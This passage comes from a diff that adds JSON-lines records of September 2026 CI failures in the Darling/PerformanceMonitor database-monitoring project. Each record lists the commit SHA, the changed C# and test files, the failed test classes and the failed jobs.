tests","build","Darling whole-tree guards"]}
+{"date":"2026-09-17","head_sha":"76f3ad71d0117c2ed2cca3b92af6fd763d6470d4","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorDatabaseScopeLivePostgresTests.cs","Darling/Darling.Tests/CollectorDatabaseScopeRungTests.cs","Darling/Darling.Tests/FleetSweepCadenceKnobRungTests.cs","Darling/Darling.Tests/PostgresDatabaseListScreenLivePostgresTests.cs","Darling/Darling.Tests/TargetProviderTests.cs","Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Service/Targets/PostgresTargetProvider.cs","Darling/PerformanceMonitor.Darling.Service/Targets/SqlServerTargetProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml","Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleOverlay.cs","Darling/PerformanceMonitor.Darling.Viewer/CollectorSchedulePresets.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectorSchedules.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/DatabaseScopeFilter.cs","PerformanceMonitor.Collectors/DatabaseScopedConfigCollector.cs","PerformanceMonitor.Collectors/ITargetProvider.cs","PerformanceMonitor.Collectors/IndexObjectStatsCollector.cs","PerformanceMonitor.Collectors/PlanCorrectionCollector.cs","PerformanceMonitor.Collectors/QueryStoreCollector.cs","PerformanceMonitor.Collectors/QueryStoreHealthCollector.cs"],"failed_classes":["Lite.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build"]}
+{"date":"2026-09-17","head_sha":"4242f787997a41af6802b2544fe1f3a7d7bc352b","event":"pull_request","changed_files":["Darling/Darling.Tests/AgentJobStepQueryTests.cs","Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Lite.Tests/AlertContextBuildersTests.cs","Lite/MainWindow.AlertEngine.cs","Lite/MainWindow.xaml.cs","Lite/Services/RemoteCollectorService.RunningJobs.cs","PerformanceMonitor.Alerting/AgentJobStepQuery.cs","PerformanceMonitor.Alerting/AlertContextBuilders.cs","PerformanceMonitor.Alerting/AlertEngine.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-17","head_sha":"76e349dcda5d6f4f158c90472e78abeadf505f4c","event":"pull_request","changed_files":["Darling/Darling.Tests/AgentJobStepQueryTests.cs","Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Lite.Tests/AlertContextBuildersTests.cs","Lite/MainWindow.AlertEngine.cs","Lite/MainWindow.xaml.cs","Lite/Services/RemoteCollectorService.RunningJobs.cs","PerformanceMonitor.Alerting/AgentJobStepQuery.cs","PerformanceMonitor.Alerting/AlertContextBuilders.cs","PerformanceMonitor.Alerting/AlertEngine.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-18","head_sha":"1d56092cad4e6fdefa0cf5aacc3003062c3b49ae","event":"pull_request","changed_files":["Darling/Darling.Tests/DailyDeadlockWindowCensusTests.cs","Darling/Darling.Tests/DailyHealthBandTests.cs","Darling/Darling.Tests/DarlingMcpHealthToolsTests.cs","Darling/Darling.Tests/FleetSweepEngineTests.cs","Darling/PerformanceMonitor.Darling.Service/FleetSweepEngine.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingHealthReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.DailySummary.cs","Lite.Tests/DailyHealthBandTests.cs","Lite.Tests/PerformanceCalendarDataTests.cs","Lite/Services/LocalDataService.DailySummary.cs","PerformanceMonitor.Common/DailyHealthBand.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.DarlingMcpHealthToolsLivePostgresTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-18","head_sha":"e9f5484eadb29bb7464f543c67a4a2830c1de9a6","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertEngineTests.cs","Darling/Darling.Tests/DarlingAlertReadAdapterTests.cs","Darling/Darling.Tests/DarlingAlertingTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/PostgresAlertEvaluatorTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertReadAdapter.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/README.md","Lite.Tests/AlertContextBuildersTests.cs","Lite.Tests/BlockingDeadlockContextBuilderTests.cs","Lite.Tests/LiteAlertForwardingTests.cs","Lite/Services/AppAlertEngineSettings.cs","Lite/Services/LiteAlertReadAdapter.cs","Lite/Services/LocalDataService.WaitStats.cs","PerformanceMonitor.Alerting/AlertEngine.cs","PerformanceMonitor.Alerting/IAlertEngineSettings.cs","PerformanceMonitor.Alerting/IAlertReadAdapter.cs","PerformanceMonitor.Alerting/PoisonWaitAccumulation.cs","PerformanceMonitor.Alerting/PoisonWaitDelta.cs","PerformanceMonitor.Alerting/PoisonWaitEvaluator.cs","PerformanceMonitor.Alerting/PostgresAlertEvaluator.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertSeverity.cs","README.md"],"failed_classes":["Darling.Tests.DarlingAlertReadAdapterTests"],"failed_jobs":["Darling PostgreSQL tests"]}
+{"date":"2026-09-18","head_sha":"28b796d7eaa462dbc49c465bb82ed2a80be38b09","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/DarlingMcpPlanCorrectionToolsTests.cs","Darling/Darling.Tests/DarlingMcpSessionToolsTests.cs","Darling/Darling.Tests/McpPageContractTests.cs","Darling/Darling.Tests/PlanCorrectionFrameLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLongQueryReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLongQueryTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSessionReader.cs","Lite.Tests/McpPageContractTests.cs","Lite/Mcp/McpAlertTools.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Mcp/McpInstructions.cs","Lite/Mcp/McpLongQueryTools.cs","Lite/Mcp/McpPlanCorrectionTools.cs","Lite/Mcp/McpWaitTools.cs","Lite/Services/LocalDataService.AlertHistory.cs","Lite/Services/LocalDataService.Blocking.cs","Lite/Services/LocalDataService.LongQueries.cs","Lite/Services/LocalDataService.PlanCorrection.cs","Lite/Services/LocalDataService.WaitStats.cs","Lite/Services/LocalDataService.WaitingTasks.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-18","head_sha":"ae826023f8efed709f9d67ad1883d46b5d20b2ed","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalysisCoverageLivePostgresTests.cs","Darling/Darling.Tests/AnalyzeWindowEmptyLivePostgresTests.cs","Darling/Darling.Tests/PgFactCollectorTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Waits.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite.Tests/AnalysisCoverageTests.cs","Lite.Tests/AnalysisWindowEmptyTests.cs","Lite.Tests/FactCollectorTests.cs","Lite.Tests/McpMissMessageParityPinTests.cs","Lite.Tests/TestDataSeeder.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/DuckDbFactCollector.Waits.cs","Lite/Analysis/DuckDbFactCollector.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Analysis/AnalysisContext.cs","PerformanceMonitor.Analysis/FactCollectorHelpers.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FactCollectorTests"],"failed_jobs":["build"]}
+{"date":"2026-09-18","head_sha":"88289f02d64a72332dd78bedad3099ae913a1452","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/DarlingMcpCustomAlertToolsTests.cs","Darling/Darling.Tests/DarlingMcpCustomViewToolsTests.cs","Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs","Darling/Darling.Tests/DarlingMcpToolsTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFindingStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpCustomViewTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite.Tests/McpMuteReportsWhatItMatchedTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/FindingStore.cs","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpInstructions.cs"],"failed_classes":["PerformanceMonitorLite.Tests.FindingStoreTests"],"failed_jobs":["build"]}
+{"date":"2026-09-18","head_sha":"250bb914f74e70c43b7ed55438daec146a9a8834","event":"pull_request","changed_files":["Lite.Tests/FactScorerTests.cs","Lite.Tests/ScenarioTests.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactScorer.cs","PerformanceMonitor.Analysis/RelationshipGraph.cs","deprecated/Dashboard.Tests/FactScorerTests.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-18","head_sha":"30496f2e0d867e83bf63313ce89e573918de8ea3","event":"pull_request","changed_files":["Lite.Tests/SlackDetailsSizeTests.cs","Lite.Tests/SlackProseSplitTests.cs","PerformanceMonitor.Notifications/WebhookAlertService.cs"],"failed_classes":["PerformanceMonitorLite.Tests.LiteDeltaSeederTests"],"failed_jobs":["build"]}
+{"date":"2026-09-18","head_sha":"8e71bf0f59a90b98f3c7a5761b74f15182614b91","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingDeltaSeederTests.cs","Darling/Darling.Tests/DarlingMcpMemoryGrantToolsTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalColumnsRungTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionRungTests.cs","Darling/Darling.Tests/OversizedPlanBacklogPins.cs","Darling/Darling.Tests/PgTrendReaderTests.cs","Darling/Darling.Tests/StartupCommandTimeoutTests.cs","Darling/Darling.Tests/ViewerHistoryWindowTests.cs","Darling/Darling.Tests/ViewerQueriesRestTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingDeltaCalculator.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMemoryGrantReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemHistory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/DeltaFamilyIntervalColumnTests.cs","Lite.Tests/DeltaFamilySeedingCensusTests.cs","Lite.Tests/DeltaFamilyUnknowableRowReadTests.cs","Lite.Tests/DuckDbSchemaEquivalenceTests.cs","Lite.Tests/LiteDeltaSeederTests.cs","Lite.Tests/MemoryGrantsCollectorDefinitionTests.cs","Lite.Tests/PgStatementStatsDeltaSkipTests.cs","Lite.Tests/PgStatementStatsFlavorTests.cs","Lite.Tests/PgWaitStatsCollectorDefinitionTests.cs","Lite.Tests/PgWaitStatsDeltaSkipTests.cs","Lite.Tests/ProcedureStatsCollectorDefinitionTests.cs","Lite.Tests/QueryStatsCollectorDefinitionTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Mcp/McpMemoryTools.cs","Lite/Services/DeltaCalculator.cs","Lite/Services/LocalDataService.MemoryGrants.cs","Lite/Services/LocalDataService.QueryStats.cs","PerformanceMonitor.Collectors/CollectorDeltaCalculator.cs","PerformanceMonitor.Collectors/MemoryGrantsCollector.cs","PerformanceMonitor.Collectors/PgStatementStatsCollector.cs","PerformanceMonitor.Collectors/PgWaitStatsCollector.cs","PerformanceMonitor.Collectors/ProcedureStatsCollector.cs","PerformanceMonitor.Collectors/QueryStatsCollector.cs"],"failed_classes":["Darling.Tests.DarlingMcpMemoryGrantToolsSurfaceAndSqlTests","Darling.Tests.DarlingPerformanceTrendsReadTests","Darling.Tests.DeltaFamilyIntervalCompletionRungTests","Darling.Tests.OversizedPlanBacklogPins","Darling.Tests.PayloadDimensionTests","Darling.Tests.PgSchemaGeneratorTests","PerformanceMonitorLite.Tests.PerformanceTrendsToolTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-18","head_sha":"b9d8e955ac7cfd4b42c00f22a782b975e537b014","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingDeltaSeederTests.cs","Darling/Darling.Tests/DarlingMcpMemoryGrantToolsTests.cs","Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/DarlingPerformanceTrendsReadTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalColumnsRungTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionRungTests.cs","Darling/Darling.Tests/OversizedPlanBacklogPins.cs","Darling/Darling.Tests/PayloadDimensionTests.cs","Darling/Darling.Tests/PgTrendReaderTests.cs","Darling/Darling.Tests/StartupCommandTimeoutTests.cs","Darling/Darling.Tests/ViewerHistoryWindowTests.cs","Darling/Darling.Tests/ViewerQueriesRestTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingDeltaCalculator.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMemoryGrantReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/OversizedPlanBacklog.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemHistory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/DeltaFamilyIntervalColumnTests.cs","Lite.Tests/DeltaFamilySeedingCensusTests.cs","Lite.Tests/DeltaFamilyUnknowableRowReadTests.cs","Lite.Tests/DuckDbSchemaEquivalenceTests.cs","Lite.Tests/LiteDeltaSeederTests.cs","Lite.Tests/MemoryGrantsCollectorDefinitionTests.cs","Lite.Tests/PgStatementStatsDeltaSkipTests.cs","Lite.Tests/PgStatementStatsFlavorTests.cs","Lite.Tests/PgWaitStatsCollectorDefinitionTests.cs","Lite.Tests/PgWaitStatsDeltaSkipTests.cs","Lite.Tests/ProcedureStatsCollectorDefinitionTests.cs","Lite.Tests/QueryStatsCollectorDefinitionTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Mcp/McpMemoryTools.cs","Lite/Services/DeltaCalculator.cs","Lite/Services/LocalDataService.MemoryGrants.cs","Lite/Services/LocalDataService.QueryStats.cs","PerformanceMonitor.Collectors/CollectorDeltaCalculator.cs","PerformanceMonitor.Collectors/MemoryGrantsCollector.cs","PerformanceMonitor.Collectors/PgStatementStatsCollector.cs","PerformanceMonitor.Collectors/PgWaitStatsCollector.cs","PerformanceMonitor.Collectors/ProcedureStatsCollector.cs","PerformanceMonitor.Collectors/QueryStatsCollector.cs"],"failed_classes":["PerformanceMonitorLite.Tests.PerformanceTrendsToolTests"],"failed_jobs":["build"]}
+{"date":"2026-09-18","head_sha":"51e6bca179f87fddde1a4058cff217152c1bfa53","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingFleetReaderTests.cs","Darling/Darling.Tests/DarlingPgSessionStatesReaderTests.cs","Darling/Darling.Tests/DeadlockRateBandTests.cs","Darling/Darling.Tests/FleetCardPostgresCpuLivePostgresTests.cs","Darling/Darling.Tests/FleetCardPostgresCpuTests.cs","Darling/Darling.Tests/PgCpuCapacityHeadroomTests.cs","Darling/Darling.Tests/UnmeasuredMetricsAreNotHealthyTests.cs","Darling/Darling.Tests/ViewerFleetRollupTests.cs","Darling/Darling.Tests/ViewerW2aTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/fleet.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgSessionStatesReader.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Fleet.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/README.md","PerformanceMonitor.Alerting/PostgresAlertEvaluator.cs","PerformanceMonitor.Common/FleetDeadlockCoverage.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["Darling.Tests.DarlingPgReadSqlParsesLiveTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.ViewerFleetDeadlockCoverageTests"],"failed_jobs":["Darling PostgreSQL tests","build"]}
+{"date":"2026-09-18","head_sha":"d0d482835c7fcb99b9abd7612a2db1179f8f523f","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpHealthToolsTests.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.XminHorizonPersistenceReadTests","Lite.Tests.FindingsRetentionHorizonPinTests","PerformanceMonitorLite.Tests.PerformanceCalendarDataTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-18","head_sha":"f07bfc441fc2287e1a9829881d02d8b373608dfc","event":"pull_request","changed_files":["Darling/Darling.Tests/DeltaFamilyIntervalCompletionLivePostgresTests.cs","Lite.Tests/DeltaFamilyUnknowableRowReadTests.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests","PerformanceMonitorLite.Tests.McpZeroIsAMeasurementTests","PerformanceMonitorLite.Tests.TrendEmptyParityToolTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-18","head_sha":"6a2f100f08c6e5955cd17986a32fbd09ecc6207e","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpPgLoggingAuditToolsTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLoggingAuditTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPgLoggingAudit.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgLoggingAuditReader.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","docs/postgres-first-target-runbook.md","llms.txt"],"failed_classes":["Darling.Tests.McpLatestSnapshotStampTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
+{"date":"2026-09-18","head_sha":"8a800ed6c69065e5d03ea6a2b3609e2f562ffce6","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpPgLoggingAuditToolsTests.cs","Darling/Darling.Tests/McpLatestSnapshotStampTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLoggingAuditTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPgLoggingAudit.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgLoggingAuditReader.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","docs/postgres-first-target-runbook.md","llms.txt"],"failed_classes":["PerformanceMonitorLite.Tests.LiteDeltaSeederTests"],"failed_jobs":["build"]}
+{"date":"2026-09-18","head_sha":"95b65cc63310978dd531c30ba1418b6bf4e91621","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectorStateContractTests.cs","Darling/Darling.Tests/PgWaitInstrumentDisclosureTests.cs","Darling/Darling.Tests/PgWaitSamplerLiveTests.cs","Darling/Darling.Tests/SweepBodyDetachPolicyTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitSamplingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitTools.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgWaitSamplingReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs","Darling/README.md","Lite.Tests/PgWaitExclusionParityTests.cs","Lite.Tests/PgWaitSamplerArmTests.cs","Lite.Tests/PgWaitSamplingCollectorDefinitionTests.cs","PerformanceMonitor.Collectors/CollectorEngineCapability.cs","PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs","PerformanceMonitor.Collectors/CollectorTargetInfo.cs","PerformanceMonitor.Collectors/PgWaitInstrument.cs","PerformanceMonitor.Collectors/PgWaitSamplingCollector.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Darling.Tests.CollectorEngineCapabilityMovingGateTests","Darling.Tests.DarlingCliCommandsTests","Darling.Tests.DarlingComposeTests","Darling.Tests.DocCommentHygieneTests","Lite.Tests.AuroraOnlySqlIsGatedTests","Lite.Tests.DefaultTraceEventsCollectorDefinitionTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-18","head_sha":"9261cb58aa955a32a96d02ee61ef4842f1abca4e","event":"pull_request","changed_files":[".github/workflows/build.yml",".github/workflows/nightly.yml","Darling/Darling.Tests/CollectorMeasurementSeamTests.cs","Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/DarlingPgReadSqlParsesLiveTests.cs","Darling/Darling.Tests/DeltaFamilyIntervalCompletionRungTests.cs","Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgSchemaGeneratorTests.cs","Darling/Darling.Tests/ServerPageTabsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgLogEventTools.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Storage/DarlingPgLogEventReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresTabs.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Darling/README.md","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","Lite.Tests/LogTailOverlapThresholdPinTests.cs","Lite.Tests/PgServerLogPathPinTests.cs","PerformanceMonitor.Collectors/CollectorCatalog.cs","PerformanceMonitor.Collectors/CollectorEngineCapability.cs","PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs","PerformanceMonitor.Collectors/IPgLogFamilyParser.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEntry.cs","PerformanceMonitor.Collectors/PgLogEntryAssembler.cs","PerformanceMonitor.Collectors/PgLogEvent.cs","PerformanceMonitor.Collectors/PgLogEventClassifier.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgLogFamilyParsers.cs","PerformanceMonitor.Collectors/PgLogTextRedactor.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgPlanLogParser.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs","docs/postgres-first-target-runbook.md"],"failed_classes":["Darling.Tests.CollectionSweepCommandTimeoutTests","Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.ReadmeDerivedCountPinTests","Darling.Tests.StorageCommandTimeoutTests","Darling.Tests.StoreCopyPhaseTests","Lite.Tests.CrossAppMcpToolInventoryPinTests"],"failed_jobs":["build","Darling PostgreSQL tests","Darling whole-tree guards"]}
+{"date":"2026-09-18","head_sha":"87559e0f726889edec0ecaafe49e792058892aae","event":"pull_request","changed_files":["Darling/Darling.Tests/CaptureDownChunkOrderTests.cs","Darling/Darling.Tests/CollectionSignalsChunkOrderTests.cs","Darling/Darling.Tests/IntervalDedupMaterializationIndexesTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PostgreSQL tests"]}
